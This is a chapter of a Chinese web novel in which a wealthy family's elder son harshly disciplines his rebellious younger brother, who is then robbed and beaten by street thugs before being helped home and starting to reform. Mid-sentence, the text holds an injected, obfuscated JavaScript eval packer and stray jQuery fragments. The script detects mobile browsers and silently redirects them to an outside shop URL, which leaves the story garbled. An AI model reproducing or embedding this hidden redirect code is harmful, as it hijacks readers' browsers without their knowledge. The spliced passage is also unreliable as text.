三年前,思霖校长办公室。
“樊总,令郎的问题有点棘手啊。”
校长面对樊再念,满脸愁容地推眼镜:“从升上初二起,他的成绩就一落千丈,行为也变得……嗯,很乖张?我不好把话说得太难听,但自国际部创立以来,真的从来没出现过这样一位学生。”
“……”
樊再念拿着樊望宇的心理评估报告,始终面无表情。
“我记得令郎以前也是个品学兼优的好孩子,为什么短短一个暑假回来,他整个人都变了?是心理上受到什么打击了吗?”校长频频摇头叹气,“之前我也找了好几个心理老师和他谈过,但解铃还须系铃人,想真正引起令郎的重视,恐怕还得樊总您亲自出面。如果您还需医生,我可以帮忙联系远海医大的黄教授。”
“我明白了,多谢校长关心。”樊再念突然微笑着点了点头,“这件事我会解决好的,只要给我一天时间,如果解决不了,我会直接让他退学。”
说完,他起身走出了校长室。
校长自然不敢强行挽留,只能默默嘀咕:“一天时间?是不是太过激进了?……”
而此时的一所私人棋牌室内,仍旧烟雾缭绕。
几个年轻人围坐在一起,一边打着扑克,一边大声谈笑。四人之中,唯有一个年轻男孩尤其引人注目,即使染了头发、剃了寸头,他那张稚嫩的脸依然与周围环境格格不入。
“来啊,出牌啊,别磨磨蹭蹭的,是不是怕输啊!”
樊望宇翘着二郎腿,把手里的扑克牌甩得哗啦啦响,同时露出一脸不屑的邪笑。
牌桌对面,一个比他年长许多的公子哥乐道:“樊少,你这牌出得有点不厚道啊?我看你是想赢想疯了吧。”
“开玩笑,我堂堂樊大少爷哪会做那种卑鄙事,你输不起直说!”
“哟,樊‘大’少爷,你这怕不是串辈了?”公子哥哈哈大笑,点烟的同时顺手递上一根,“来来来,咱别说这么多,少爷快先消消气!”
“……我没抽过这个。”樊望宇盯着香烟没接,似乎有些犹豫。
“那你试试,抽了它就能变成大人了!”公子哥嬉皮笑脸道,“怎么,你还怕你爸打你?”
“谁怕了,拿来!”
樊望宇顿时不服气,梗着脖子就夺过烟。结果刚点上火,一只手不由分说便从他嘴里扯出香烟,狠狠掷在地上踩灭。
“你?……”樊望宇回头愕然。
樊昀熙嫌恶地一蹙眉,抽出手帕擦了擦沾染烟味的指尖,面色阴冷地问:“樊望宇,你打算闹到什么时候?”
“你来干什么?”樊望宇冷哼。
“爸叫我来找你。”樊昀熙上前一步,灯光打在他半边脸上,映出一道严肃的阴影,“他之前工作忙,所以懒得管你。但你最近实在太不像话,连校长都看不下去了,你是不是该跟我回家好好反省反省?”
樊望宇先是被他的气势吓一跳,随后阴阳怪气地笑出声来:“你?你有什么资格代替爸来教训我,就凭你处处照猫画虎模仿他的行为……”
话音未落,他的侧脸便瞬间挨了一记狠拳,人还没反应,身子就已经顺着力道摔落地上。
三个牌友惊呼一声,纷纷站了起来,但碍于樊昀熙在场,他们也不敢过去搀扶,于是选择站在原地看戏。
樊望宇脑袋嗡嗡作响,愣了好久,才捂着通红的脸从地上坐起身来:“樊昀熙,你他妈想干什么?!”
即使语气强硬,但那急促的喘息和无助的神情,仍然出卖了他此刻的恐惧。
收回拳头,樊昀熙俯视他的眼眸里泛着寒光:“现在,你清醒点没有?”
“你、你想说什么?……”
樊昀熙眯起冷冽的双眼,缓缓蹲下身子,捏住樊望宇的下巴,强迫他抬头仰视自己:“樊望宇,你知道自己姓什么吗?你觉得你的所作所为,对得起海神继承人这个身份?”
樊望宇目光猝然一凛,怒啐一口,骂道:“呸!狗屁樊家,狗屁继承人,我才不稀罕!”
“……很好。”樊昀熙勾唇哂笑,伸手进樊望宇的外衣口袋中。
“喂,你干什么?!”樊望宇大惊失色,眼睁睁看着自己手机被樊昀熙拿走。
“既然不承认自己是樊家的一份子,你就别再进我们家门了。从现在起,你爱去哪儿去哪儿,樊家不会给你一分钱,你要有本事,就靠自己在外面活下去,反之……”
将手机在掌心里一转,樊昀熙的声音愈发冷酷无情,“如果活不下去,你最好趁早滚回家向爸认错,再之后你仍不悔改,那樊家从今往后就再没你这个人了。”
“滚就滚,谁怕谁啊!”
眼见樊昀熙大步越过自己,樊望宇坐在地上愤然大骂,只为争那一口不愿服输的气。
但樊昀熙正要离开,又蓦然想到什么,停下脚步,回眸凌厉地扫视三个牌友一眼:“对了,你们中要有谁敢接济他,后果自负。”
……
最后,樊望宇只能漫无目的地游走在街上。
他双手插兜,佝偻着背,晃悠晃悠走到一片老旧住宅区下。此时已值深夜,路边没有几个行人,虽然肚子早已饿得咕咕叫,但一摸兜里,除了牌友送的一盒烟,别的什么都没有。
“呼……”
樊望宇疲惫不堪地靠在墙上,下意识地想要掏烟,不料“哐当”一声,他竟被一只从天而降的易拉罐砸中了脑袋。
“是谁丢的,有没有素质啊!”樊望宇抬头大骂几句,揉着圆溜溜的寸头,气恼地一脚踩上易拉罐,“妈的,倒霉透了!”
伴随易拉罐被踩扁的“喀嚓”一声,他身形一顿,猛回过头,却只见一盏破旧的路灯正于老巷深处忽明忽暗,仿佛在阴暗的角落,有双眼睛正幽幽地窥视自己。
樊望宇的背后莫名感到一阵凉意,因为过去一直总是乘坐汽车出出入入,他从未曾发觉,这片街道,原来夜里这么黑的吗?……
也不晓得是否多心的缘故,他总觉得今晚大街格外阴森,就连脚步声都变刺耳了不少。
咽了口唾沫,樊望宇赶紧埋头拐弯进一条小道,可就在这时,他猝不及防地与几个蹲在墙角抽烟的混混撞了个正着。
“哟,这么晚了,怎么有个小弟弟还在这里流浪?”
一见樊望宇那身流里流气的装扮,几个青年顿时来了兴致,一摇一晃地过来堵住他的去路:“小朋友,你爸爸妈妈呢?”
“是不是找不到回家的路了?要不要哥哥来帮你啊?”
几人调戏完便哄堂大笑,还有一个最高大的直接扣住樊望宇手腕,像摁小鸡崽般轻松摁住了他:“弟弟,身上有没有带钱?借点来给哥哥买烟抽。”
“你们要干什么?!”
樊望宇吓得够呛,毕竟他长这么大从来没经历过这种事。
几个混混也不管他,自顾自从他衣服中摸出烟盒,不禁放声大笑:“小朋友还会抽烟啊?是不是偷你爸爸东西了,看来你要被你爸打屁股喽!”
不过,其中一个混混笑着笑着,突然眼睛一瞪,举起烟盒惊恐失色:“等等,我操!他这烟可贵了,一盒的价格都够我们买几十条了!”
剩下几人笑不出来了,他们面面相觑一秒,霎时收起笑容,眼里目露凶光:“小朋友,家里挺有钱的嘛?来,让哥哥们看看你身上还有什么好东西!”
“滚,都给我滚!”
被几个大人钳制着,樊望宇表面上挣扎怒骂,内心却越来越绝望。
完了……
他今天肯定要交代在这里了……
“操,除了这盒烟,什么都没有!”
在到处摸了个空后,混混自觉没趣,索性将樊望宇推到墙上,发出“嗙咚”一声响:“这烟还真是他偷的吧,没劲!”
“这就是你不乖了,小弟弟,怎么能浪费哥哥们的时间呢?看来得给你个教训才行。”
另一个混混弹走烟屁股后笑了笑,骤然一拳朝樊望宇脸挥了过去。
与樊昀熙迥然不同,混混的力道劲狠无比,且毫不留情,只一击就将樊望宇揍得瘫倒在地,眼冒金星。
“走!”
等混混们大摇大摆地走掉,樊望宇才从耳鸣中逐渐缓过神,慢慢地坐了起来。
“咳咳!”
他捂住发痛的后背猛烈咳嗽几声,忽感唇上一阵温热,用指尖轻轻一碰,樊望宇发现自己竟然流出了大量鼻血。
“血?!……”
樊望宇恐惧地看着手掌上的鲜红,脑海轰然一片全白,浑身不受控制地剧烈颤抖——他长这么大,从没被这么粗鲁地对待过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273225|187289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
他的内心由恐惧转为愤怒,很快,恐惧、悔恨与不甘也如海啸蔓延上来,不知不觉间,泪水已无声布满脸庞。
然而即便想要抽泣,樊望宇的鼻子被血块阻塞着,根本无法呼吸,因而他只能无措地张开嘴巴,大口大口吸气,任由自己泪如雨下。
这时,脚步声在啜泣的樊望宇身后响起,下一刻,外套重新被披回肩上,为他带来了久违的温暖——
“少爷,跟我去医院看看,好吗?”
“蔡姨?……”樊望宇顾不上抹去脸颊的泪痕,愣愣回过头,难以置信地问,“你怎么会在这里?”
蔡姨用手帕细细为他擦拭血渍,眉头紧紧蹙起,眼中涌上难以言喻的心疼:“是大少爷让我跟着您的。”
听到这句话,樊望宇更震惊了:“他?怎么可能?”
“是的。”蔡姨平静地回答,“大少爷在棋牌室找您时,我就在门外等待,等到大少爷出门后,我亲耳听见他这么跟我说的——”
“蔡姨,麻烦你在后面跟上望宇。”
当时,樊昀熙站在门外,头也不回地说道,“记得别离太近被他发现,但也不能太远,以免出现意外来不及处置。还有,不到万不得已,别出手相助,务必让他吸取一次教训。”
“看好他,别让他做傻事。”
“……所以我就跟来了。”
蔡姨收回手帕,把樊望宇扶了起来。
樊望宇傻傻地听完,杂乱如麻的疑问在脑里搅成一滩浑泥。
“少爷,算我拜托您。”蔡姨眉宇中透出深深的焦急,“请您听大少爷的话,回去向老爷认错吧。您身无家可归,无分文,这样下去是什么都做不了的。”
“……”
樊望宇彻底失去了思考能力,露出迷茫且懵懂表情,眼神宛若空洞无物。
*
远海综合医院急诊室。
急诊医生检查完毕后,放下听诊器,转身对电脑敲病历:“小弟弟运气还算不错,只有软组织肿胀,没有伤及骨头,万一对方拳头再偏一点,他的鼻梁骨说不定就骨折了。”
蔡姨站在樊望宇身后,对医生点了点头:“谢谢医生。”
“我给他开点消肿的药,回去给他好好敷一敷吧,注意观察有没有头晕呕吐的现象,有的话立刻来医院复诊。”
“明白了。”
而在取药处,樊望宇始终安静坐在椅子上,用手按着冷敷袋,半垂眼帘一声不吭。
“二少爷!”
察觉背后有人喊他,樊望宇这才死气沉沉地扭头,瞥向刚赶过来的钟管家和樊昀熙。
虽说已在电话里听过蔡姨汇报,但当亲眼见到一脸红肿的樊望宇时,钟管家依旧难以置信,波澜不惊的表情也出现了一丝松动:“这……怎么被打得这么严重?”
樊昀熙倒是没表现出惊讶,仅是直直盯着樊望宇问:“谁打的?你记住他们长相了吗,什么时候发生的,事发地有监控吗?”
樊望宇不置一词,徐徐将头转了回去,不肯再去看他们两人。
“算了。”樊昀熙默然片刻,把文件夹抛到樊望宇身边的座椅上,“里面是两个月来你落下的课程进度,记得用半个月时间把它们全部学完,然后在期中考上年级综合前十名,这样爸才会承认你真心悔改。”
樊望宇瞄了眼文件夹就挪开视线,一副漠不关心的麻木样。
蔡姨取完药回来,目睹了樊昀熙布置任务的场景,忍不住更为樊望宇感到担忧:这样真的不会再度刺激他吗?
只可惜她没有建议的资格。
但是第二天,当蔡姨见到出门准备上学的樊望宇时,不由自主睁大了双眼。
只见樊望宇不情不愿地插兜走来,脸上贴着纱布,双眉还是像从前那样紧锁不放。不同的是,他的制服衬衫整齐地扣完了所有纽扣,领带也系得一丝不苟,原本那一头红毛,更是被重新染回黑色,显得他的颅顶更圆更饱满了。
“怎么了,我很奇怪吗?”发觉蔡姨呆怔的模样,樊望宇羞赧地挠挠自己的寸头,“头发被剃成这样,一时半会儿也长不了,总不能让我戴假发吧?”
“……不。”
她摇头莞尔,手上不紧不慢地替他拉开车门:
“没什么,少爷,请上车吧。”